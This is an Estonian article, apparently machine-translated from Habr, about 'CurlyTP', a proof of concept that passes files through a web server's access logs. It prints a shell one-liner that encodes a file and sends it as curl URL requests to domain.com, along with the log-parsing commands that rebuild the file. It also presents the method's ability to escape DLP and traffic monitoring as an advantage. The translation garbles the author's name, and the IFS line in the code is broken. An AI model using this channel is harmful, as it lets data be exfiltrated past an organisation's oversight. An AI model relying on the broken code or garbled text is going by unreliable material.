Salasõnumite vahetamine serveri logide kaudu

Wikipedia definitsiooni kohaselt on surnud tilk vandenõutööriist, mille eesmärk on vahetada teavet või mõnda üksust inimeste vahel salajase asukoha abil. Idee seisneb selles, et inimesed ei kohtu kunagi, kuid nad vahetavad siiski teavet tööohutuse tagamiseks.

Peidukoht ei tohiks tähelepanu tõmmata. Seetõttu kasutavad nad võrguvälises maailmas sageli diskreetseid asju: lahtist tellist seinas, raamatukogu raamatut või puuõõnsust.

Internetis on palju krüpteerimis- ja anonüümsuse tööriistu, kuid nende tööriistade kasutamise fakt tõmbab tähelepanu. Lisaks võidakse need blokeerida ettevõtte või valitsuse tasandil. Mida teha?

Arendaja Ryan Flowers pakkus välja huvitava võimaluse - kasutage peidupaigana mis tahes veebiserverit. Kui järele mõelda, siis mida veebiserver teeb? Võtab vastu päringuid, väljastab faile ja kirjutab logisid. Ja see logib kõik taotlused, isegi ebaõigeid!

Selgub, et iga veebiserver võimaldab logisse salvestada peaaegu iga sõnumi. Lilled mõtlesid, kuidas seda kasutada.

Ta pakub järgmist võimalust:

  1. Võtke tekstifail (salajane sõnum) ja arvutage räsi (md5sum).
  2. Me kodeerime selle (gzip+uuencode).
  3. Kirjutame logisse, kasutades serverile sihilikult vale päringut.

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

Faili lugemiseks tuleb need toimingud sooritada vastupidises järjekorras: dekodeerida ja lahti pakkida fail, kontrollida räsi (räsi saab ohutult edastada avatud kanalite kaudu).

Tühikud asendatakse =+=et aadressis ei oleks tühikuid. Programm, mida autor nimetab CurlyTP-ks, kasutab base64 kodeeringut, nagu meilimanused. Taotlus tehakse märksõnaga ?transfer?et saaja leiaks selle logidest hõlpsasti üles.

Mida me sel juhul logides näeme?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

Nagu juba mainitud, peate salajase sõnumi saamiseks tegema toimingud vastupidises järjekorras:

Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

Protsessi on lihtne automatiseerida. Md5sum vastab ja faili sisu kinnitab, et kõik dekodeeriti õigesti.

Meetod on väga lihtne. "Selle harjutuse eesmärk on lihtsalt tõestada, et faile saab edastada süütute väikeste veebipäringute kaudu ja see töötab igas lihtteksti logidega veebiserveris. Sisuliselt on iga veebiserver peidupaik!” kirjutab Flowers.

Loomulikult töötab meetod ainult siis, kui adressaadil on juurdepääs serveri logidele. Kuid sellist juurdepääsu pakuvad näiteks paljud majutajad.

Kuidas seda kasutada?

Ryan Flowers ütleb, et ta ei ole infoturbe ekspert ega koosta CurlyTP võimalike kasutuste loendit. Tema jaoks on see lihtsalt tõestus kontseptsioonist, et tuttavaid tööriistu, mida me igapäevaselt näeme, saab kasutada ebatavaliselt.

Tegelikult on sellel meetodil mitmeid eeliseid võrreldes teiste serveri "peitidega", näiteks Digital Dead Drop või PirateBox: see ei nõua serveripoolset erikonfiguratsiooni ega mingeid eriprotokolle – ega ärata liiklust jälgijates kahtlust. On ebatõenäoline, et SORM- või DLP-süsteem skannib URL-e tihendatud tekstifailide leidmiseks.

See on üks viise sõnumite edastamiseks teenusefailide kaudu. Mäletate, kuidas mõned arenenud ettevõtted varem paigutasid Arendaja töökohad HTTP päistes või HTML-lehtede koodis.

Salasõnumite vahetamine serveri logide kaudu

Idee seisnes selles, et seda lihavõttemuna näeksid ainult veebiarendajad, kuna tavaline inimene ei vaata päiseid ega HTML-koodi.

Salasõnumite vahetamine serveri logide kaudu

Allikas: www.habr.com

Lisa kommentaar